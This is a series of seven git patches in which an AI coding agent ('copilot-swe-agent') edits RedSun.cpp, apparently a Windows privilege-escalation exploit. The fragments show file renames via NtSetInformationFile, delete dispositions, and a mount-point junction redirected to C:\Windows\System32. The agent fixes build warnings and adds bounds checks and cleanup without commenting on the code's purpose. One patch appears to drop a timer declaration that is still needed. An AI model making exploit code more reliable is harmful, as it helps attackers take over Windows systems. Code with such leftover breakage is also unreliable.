From 2d5902faf05201c3698038f4f34273ea308519e6 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:13:11 +0000 Subject: [PATCH 1/7] Fix Windows build warnings and link libs Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 71 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 40 insertions(+), 31 deletions(-) diff --git a/RedSun.cpp b/RedSun.cpp index ffed46e..52a34d9 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -15,10 +15,13 @@ #include #include -#pragma comment(lib,"synchronization.lib") -#pragma comment(lib,"sas.lib") -#pragma comment(lib,"ntdll.lib") -#pragma comment(lib,"CldApi.lib") +#pragma comment(lib,"synchronization.lib") +#pragma comment(lib,"sas.lib") +#pragma comment(lib,"ntdll.lib") +#pragma comment(lib,"CldApi.lib") +#pragma comment(lib,"advapi32.lib") +#pragma comment(lib,"ole32.lib") +#pragma comment(lib,"user32.lib") typedef struct _FILE_DISPOSITION_INFORMATION_EX { @@ -429,12 +432,15 @@ DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo) } -void rev(char* s) { - - // Initialize l and r pointers - int l = 0; - int r = strlen(s) - 1; - char t; +void rev(char* s) { + + // Initialize l and r pointers + size_t l = 0; + size_t r = strlen(s); + if (r == 0) + return; + r -= 1; + char t; // Swap characters till l and r meet while (l < r) { @@ -689,18 +695,20 @@ int main() CloseHandle(hmap); - { - wchar_t _tmp[MAX_PATH] = { 0 }; + { + wchar_t _tmp[MAX_PATH] = { 0 }; wsprintfW(_tmp, L"\\??\\%s.TEMP2", workdir); - - PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp))); - ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp))); - pfri->ReplaceIfExists = TRUE; - pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp)); - memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp))); - stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10); - _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); - } + + const size_t tmp_bytes = wcslen(_tmp) * sizeof(wchar_t); + const size_t rename_info_size = sizeof(FILE_RENAME_INFORMATION) + tmp_bytes; + PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(rename_info_size); + ZeroMemory(pfri, rename_info_size); + pfri->ReplaceIfExists = TRUE; + pfri->FileNameLength = static_cast(tmp_bytes); + memmove(&pfri->FileName[0], _tmp, tmp_bytes); + stat = _NtSetInformationFile(hfile, &iostat, pfri, static_cast(rename_info_size), (FILE_INFORMATION_CLASS)10); + _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); + } wchar_t _rp[MAX_PATH] = { L"\\??\\" }; wcscat(_rp, workdir); UNICODE_STRING _usrp = { 0 }; @@ -714,12 +722,12 @@ int main() return 1; } - - wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" }; - DWORD targetsz = wcslen(rptarget) * 2; - DWORD printnamesz = 1 * 2; - DWORD pathbuffersz = targetsz + printnamesz + 12; - DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; + + wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" }; + DWORD targetsz = static_cast(wcslen(rptarget) * sizeof(wchar_t)); + DWORD printnamesz = static_cast(sizeof(wchar_t)); + DWORD pathbuffersz = targetsz + printnamesz + 12; + DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz); rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; rdb->ReparseDataLength = static_cast(pathbuffersz); @@ -735,10 +743,11 @@ int main() HANDLE hlk = NULL; - HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); - LARGE_INTEGER duetime = { 0 }; - GetSystemTimeAsFileTime((LPFILETIME)&duetime); - ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart }; + HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); + LARGE_INTEGER duetime = { 0 }; + GetSystemTimeAsFileTime((LPFILETIME)&duetime); + ULARGE_INTEGER _duetime = { 0 }; + _duetime.QuadPart = static_cast(duetime.QuadPart); _duetime.QuadPart += 0x2FAF080; duetime.QuadPart = _duetime.QuadPart; CloseHandle(hfile); From 86b2a62375f6d6a67db90c83a5931863e3ae04bb Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:15:32 +0000 Subject: [PATCH 2/7] Add bounds checks for rename sizes Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/RedSun.cpp b/RedSun.cpp index 52a34d9..21def40 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -8,6 +8,7 @@ #define _CRT_SECURE_NO_WARNINGS #define WIN32_NO_STATUS #include +#include #include #undef WIN32_NO_STATUS #include @@ -436,10 +437,10 @@ void rev(char* s) { // Initialize l and r pointers size_t l = 0; - size_t r = strlen(s); - if (r == 0) + size_t len = strlen(s); + if (len == 0) return; - r -= 1; + size_t r = len - 1; char t; // Swap characters till l and r meet @@ -701,6 +702,11 @@ int main() const size_t tmp_bytes = wcslen(_tmp) * sizeof(wchar_t); const size_t rename_info_size = sizeof(FILE_RENAME_INFORMATION) + tmp_bytes; + if (tmp_bytes > ULONG_MAX || rename_info_size > ULONG_MAX) + { + printf("Rename buffer too large.\n"); + return 1; + } PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(rename_info_size); ZeroMemory(pfri, rename_info_size); pfri->ReplaceIfExists = TRUE; From cba80da32bb0d63f8099c2b23840b6d1c5daf0cf Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:16:44 +0000 Subject: [PATCH 3/7] Harden rename size checks and allocation Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/RedSun.cpp b/RedSun.cpp index 21def40..f3c3717 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -700,14 +700,25 @@ int main() wchar_t _tmp[MAX_PATH] = { 0 }; wsprintfW(_tmp, L"\\??\\%s.TEMP2", workdir); - const size_t tmp_bytes = wcslen(_tmp) * sizeof(wchar_t); - const size_t rename_info_size = sizeof(FILE_RENAME_INFORMATION) + tmp_bytes; - if (tmp_bytes > ULONG_MAX || rename_info_size > ULONG_MAX) + const size_t tmp_len = wcslen(_tmp); + if (tmp_len > (ULONG_MAX / sizeof(wchar_t))) + { + printf("Rename buffer too large.\n"); + return 1; + } + const size_t tmp_bytes = tmp_len * sizeof(wchar_t); + if (tmp_bytes > (ULONG_MAX - sizeof(FILE_RENAME_INFORMATION))) { printf("Rename buffer too large.\n"); return 1; } + const size_t rename_info_size = sizeof(FILE_RENAME_INFORMATION) + tmp_bytes; PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(rename_info_size); + if (!pfri) + { + printf("Failed to allocate rename buffer.\n"); + return 1; + } ZeroMemory(pfri, rename_info_size); pfri->ReplaceIfExists = TRUE; pfri->FileNameLength = static_cast(tmp_bytes); @@ -753,6 +764,11 @@ int main() LARGE_INTEGER duetime = { 0 }; GetSystemTimeAsFileTime((LPFILETIME)&duetime); ULARGE_INTEGER _duetime = { 0 }; + if (duetime.QuadPart < 0) + { + printf("Invalid system time.\n"); + return 1; + } _duetime.QuadPart = static_cast(duetime.QuadPart); _duetime.QuadPart += 0x2FAF080; duetime.QuadPart = _duetime.QuadPart; From bf5208d143ea7df2dd0f810074aa3d061d2c8d89 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:18:06 +0000 Subject: [PATCH 4/7] Refine rename checks and time handling Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/RedSun.cpp b/RedSun.cpp index f3c3717..396bd36 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -703,13 +703,13 @@ int main() const size_t tmp_len = wcslen(_tmp); if (tmp_len > (ULONG_MAX / sizeof(wchar_t))) { - printf("Rename buffer too large.\n"); + printf("Filename length exceeds maximum size.\n"); return 1; } const size_t tmp_bytes = tmp_len * sizeof(wchar_t); if (tmp_bytes > (ULONG_MAX - sizeof(FILE_RENAME_INFORMATION))) { - printf("Rename buffer too large.\n"); + printf("Rename buffer size exceeds maximum limit.\n"); return 1; } const size_t rename_info_size = sizeof(FILE_RENAME_INFORMATION) + tmp_bytes; @@ -761,17 +761,12 @@ int main() HANDLE hlk = NULL; HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); - LARGE_INTEGER duetime = { 0 }; - GetSystemTimeAsFileTime((LPFILETIME)&duetime); + FILETIME duetime = { 0 }; + GetSystemTimeAsFileTime(&duetime); ULARGE_INTEGER _duetime = { 0 }; - if (duetime.QuadPart < 0) - { - printf("Invalid system time.\n"); - return 1; - } - _duetime.QuadPart = static_cast(duetime.QuadPart); - _duetime.QuadPart += 0x2FAF080; - duetime.QuadPart = _duetime.QuadPart; + _duetime.LowPart = duetime.dwLowDateTime; + _duetime.HighPart = duetime.dwHighDateTime; + _duetime.QuadPart += 0x2FAF080; CloseHandle(hfile); for (int i = 0; i < 1000; i++) { From 4cc2bdf6fc1cc05e99e42bee83aa7a6ae5330927 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:19:13 +0000 Subject: [PATCH 5/7] Tighten rename checks and cleanup Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/RedSun.cpp b/RedSun.cpp index 396bd36..f39b653 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -703,7 +703,7 @@ int main() const size_t tmp_len = wcslen(_tmp); if (tmp_len > (ULONG_MAX / sizeof(wchar_t))) { - printf("Filename length exceeds maximum size.\n"); + printf("Rename filename length exceeds maximum size.\n"); return 1; } const size_t tmp_bytes = tmp_len * sizeof(wchar_t); @@ -725,6 +725,7 @@ int main() memmove(&pfri->FileName[0], _tmp, tmp_bytes); stat = _NtSetInformationFile(hfile, &iostat, pfri, static_cast(rename_info_size), (FILE_INFORMATION_CLASS)10); _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); + free(pfri); } wchar_t _rp[MAX_PATH] = { L"\\??\\" }; wcscat(_rp, workdir); @@ -763,9 +764,7 @@ int main() HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); FILETIME duetime = { 0 }; GetSystemTimeAsFileTime(&duetime); - ULARGE_INTEGER _duetime = { 0 }; - _duetime.LowPart = duetime.dwLowDateTime; - _duetime.HighPart = duetime.dwHighDateTime; + ULARGE_INTEGER _duetime = { duetime.dwLowDateTime, duetime.dwHighDateTime }; _duetime.QuadPart += 0x2FAF080; CloseHandle(hfile); for (int i = 0; i < 1000; i++) From 7b8a3a4eff4466972268a7229d432fb29795fef7 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:20:21 +0000 Subject: [PATCH 6/7] Harden reparse size check and time offset Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/RedSun.cpp b/RedSun.cpp index f39b653..128a484 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -742,7 +742,13 @@ int main() wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" }; - DWORD targetsz = static_cast(wcslen(rptarget) * sizeof(wchar_t)); + const size_t rptarget_len = wcslen(rptarget); + if (rptarget_len > (ULONG_MAX / sizeof(wchar_t))) + { + printf("Reparse target length exceeds maximum size.\n"); + return 1; + } + DWORD targetsz = static_cast(rptarget_len * sizeof(wchar_t)); DWORD printnamesz = static_cast(sizeof(wchar_t)); DWORD pathbuffersz = targetsz + printnamesz + 12; DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; @@ -761,11 +767,11 @@ int main() HANDLE hlk = NULL; - HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); FILETIME duetime = { 0 }; GetSystemTimeAsFileTime(&duetime); ULARGE_INTEGER _duetime = { duetime.dwLowDateTime, duetime.dwHighDateTime }; - _duetime.QuadPart += 0x2FAF080; + const ULONGLONG due_time_offset_100ns = 0x2FAF080; + _duetime.QuadPart += due_time_offset_100ns; CloseHandle(hfile); for (int i = 0; i < 1000; i++) { From f11d443f99d338885d2d36418a0d989e89314a66 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 16:21:28 +0000 Subject: [PATCH 7/7] Document due time offset Agent-Logs-Url: https://github.com/mostwise/RedSun/sessions/dc09c994-6bf2-44db-8456-9eafc97d6304 Co-authored-by: mostwise <100317628+mostwise@users.noreply.github.com> --- RedSun.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/RedSun.cpp b/RedSun.cpp index 128a484..45400ec 100644 --- a/RedSun.cpp +++ b/RedSun.cpp @@ -770,7 +770,7 @@ int main() FILETIME duetime = { 0 }; GetSystemTimeAsFileTime(&duetime); ULARGE_INTEGER _duetime = { duetime.dwLowDateTime, duetime.dwHighDateTime }; - const ULONGLONG due_time_offset_100ns = 0x2FAF080; + const ULONGLONG due_time_offset_100ns = 0x2FAF080; // 5 seconds in 100-nanosecond units. _duetime.QuadPart += due_time_offset_100ns; CloseHandle(hfile); for (int i = 0; i < 1000; i++)